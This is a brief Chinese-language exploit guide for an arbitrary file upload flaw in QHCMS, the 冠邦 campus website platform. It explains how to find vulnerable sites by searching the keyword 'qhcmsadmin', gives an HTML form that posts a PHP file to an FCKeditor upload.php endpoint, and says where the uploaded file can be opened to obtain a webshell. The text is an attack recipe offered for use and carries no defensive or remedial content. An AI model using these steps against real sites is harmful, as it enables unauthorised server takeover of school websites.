QHCMS任意文件上传漏洞

1. 以“qhcmsadmin”为关键字，搜索使用冠邦校园网平台的网站。

2. 将以下代码保存为.html，手动POST一个.php文件：

<form enctype="multipart/form-data" action="http://www.xxx.com/editor/fckeditor/filemanager/upload/php/upload.php" method="post">   <input name="FCKeditor_File" type="file">   <input type="submit" value="Upload">  </form>

3. 上传成功则保存在http://www.xxx.com/images/stories/editorupload/下，使用原始文件名访问即可拿到Webshell。